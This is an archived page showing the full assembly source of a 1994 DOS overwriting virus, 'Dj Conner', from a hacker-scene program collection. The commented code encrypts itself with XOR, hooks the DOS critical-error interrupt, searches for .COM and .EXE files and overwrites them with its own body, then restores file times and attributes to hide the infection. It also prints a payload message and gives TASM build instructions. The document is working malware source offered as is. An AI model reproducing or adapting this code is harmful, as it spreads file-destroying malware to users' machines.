home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPCONDJ.ZIP / DJ.ASM < prev    next >
Assembly Source File  |  1994-09-22  |  7KB  |  180 lines

  1. ;  Dj Conner written by MuTaTiON INTERRUPT
  2. ;  To compile this use TASM /M dj.asm
  3.  
  4.  
  5. code    segment public 'code'
  6.         assume  cs:code
  7.         org     100h                              ; All .COM files start here
  8.  
  9. start:
  10.         db 0e9h,0,0                               ; Jump to the next command
  11.  
  12. virus:
  13.         call    encrypt_decrypt                   ; Decrypt the virus first
  14.  
  15. encrypt_start   equ     $                         ; From here is encrypted
  16.  
  17.         mov     ax,3524h                          ; Get int 24 handler
  18.         int     21h                               ; To ES:BX
  19.         mov     word ptr [oldint24],bx            ; Save it
  20.         mov     word ptr [oldint24+2],es
  21.  
  22.         mov     ah,25h                            ; Set new int 24 handler
  23.         mov     dx,offset int24                   ; DS:DX->new handler
  24.         int     21h
  25.  
  26.         push    cs                                ; Restore ES
  27.         pop     es                                ; 'cuz it was changed
  28.  
  29.         mov     dx,offset exefilespec
  30.         call    findfirst
  31.         mov     dx,offset comfilespec
  32.         call    findfirst
  33.  
  34.         mov     ah,9                              ; Display string
  35.         mov     dx,offset virusname
  36.         int     21h
  37.  
  38.         mov     ax,2524h                          ; Restore int 24 handler
  39.         mov     dx,offset oldint24                ; To original
  40.         int     21h
  41.  
  42.         push    cs
  43.         pop     ds                                ; Do this because the DS gets changed
  44.  
  45.         int    20h                                ; quit program
  46.  
  47. findfirst:
  48.         mov     ah,4eh                            ; Find first file
  49.         mov     cx,7                              ; Find all attributes
  50.  
  51. findnext:
  52.         int     21h                               ; Find first/next file int
  53.         jc      quit                              ; If none found then change dir
  54.  
  55.         call    infection                         ; Infect that file
  56.  
  57.         mov     ah,4fh                            ; Find next file
  58.         jmp     findnext                          ; Jump to the loop
  59.  
  60. quit:
  61.         ret
  62.  
  63. infection:
  64.         mov     bx,80h
  65.         mov     ax,word ptr [bx]+35               ; Get end of file name in ax
  66.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  67.         jz      quitinfect                        ; Yup so get another file
  68.         jmp    finishinfection
  69.  
  70. quitinfect:
  71.         ret
  72.  
  73. FinishInfection:
  74.         xor     cx,cx                             ; Set attriutes to none
  75.         call    attributes
  76.  
  77.         mov     al,2                              ; open file read/write
  78.         call    open
  79.  
  80. get_time:
  81.         mov     ah,2ch                            ; Get time for our encryption value
  82.         int     21h
  83.         cmp     dh,0                              ; If its seconds are zere get another
  84.         je      get_time
  85.         mov     [enc_value],dh                    ; Use seconds value for encryption
  86.         call    encrypt_infect                    ; Encrypt and infect the file
  87. closefile:
  88.         mov     ax,5701h                          ; Set files date/time back
  89.         push    bx
  90.         mov     cx,word ptr [bx]+16h              ; Get old time from dta
  91.         mov     dx,word ptr [bx]+18h              ; Get old date
  92.         pop     bx
  93.         int     21h
  94.  
  95.         mov     ah,3eh                            ; Close file
  96.         int     21h
  97.  
  98.         xor     cx,cx
  99.         mov     bx,80h
  100.         mov     cl,byte ptr [bx]+15h              ; Get old Attributes
  101.         call    attributes
  102.  
  103.         retn
  104.  
  105. open:
  106.         mov     ah,3dh                            ; open file
  107.         mov     dx,80h+30
  108.         int     21h
  109.         xchg    ax,bx                             ; file handle in bx
  110.         ret
  111.  
  112. attributes:
  113.         mov     ax,4301h                          ; Set attributes to cx
  114.         mov     dx,80h+30
  115.         int     21h
  116.         ret
  117. int24:                                            ; New int 24h (error) handler
  118.         mov     al,3                              ; Fail call
  119.         iret                                      ; Return from int 24 call
  120.  
  121. Virusname db 'Dj Conner - But, I Want To Be A Witch!',10,13
  122. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  123. Made_with db '[NOVEMBER 1994]',10,13
  124.           db 'But: I want to be a Witch! - DJ Conner-','$'
  125.  
  126. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  127. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  128.  
  129. encrypt_infect:
  130.         mov     si,offset move_begin              ; Location of where to move from
  131.         mov     di,offset workarea                ; Where to move it too
  132.         mov     cx,move_end-move_begin            ; Number of bytes to move
  133. move_loop:
  134.         movsb                                     ; Moves this routine into heap
  135.         loop    move_loop
  136.         mov     dx,offset workarea
  137.         call    dx                                ; Jump to that routine just moved
  138.         ret
  139.  
  140. move_begin    equ     $                           ; Marks beginning of move
  141.         push    bx                                ; Save the file handle
  142.         mov     dx,offset encrypt_end
  143.         call    dx                                ; Call the encrypt_decrypt procedure
  144.         pop     bx                                ; Get handle back in bx and return
  145.         mov     ah,40h                            ; Write to file
  146.         mov     cx,eof-start                      ; Number of bytes
  147.         mov     dx,100h
  148.         int     21h
  149.         push    bx                                ; Save the file handle
  150.         mov     dx,offset encrypt_end
  151.         call    dx                                ; Decrypt the file and return
  152.         pop     bx                                ; Get handle back in bx and return
  153.         ret
  154. move_end      equ     $                           ; Marks the end of move
  155.  
  156. encrypt_end   equ     $                           ; Marks the end of encryption
  157.  
  158. encrypt_decrypt:
  159.         mov     bx,offset encrypt_start           ; Where to start encryption
  160.         mov     cx,encrypt_end-encrypt_start      ; Number of bytes to encrypt
  161.         mov     dh,[enc_value]                    ; Value to use for encryption
  162. encrypt_loop:
  163.         mov     ah,cs:[bx]                        ; Get a byte in ah
  164.         xor     ah,dh                             ; Xor it
  165.         mov     cs:[bx],ah                        ; Put it back
  166.         inc     bx                                ; Move to next byte and loop
  167.         loop    encrypt_loop
  168.         ret
  169.  
  170. enc_value     db    00h                           ; Hold the encryption value 00 for nul effect
  171.  
  172. eof     equ     $                                 ; Marks the end of file
  173.  
  174. workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  175. oldint24 dd ?                                     ; Storage for old int 24h handler
  176.  
  177. code    ends
  178.         end     start
  179.  
  180.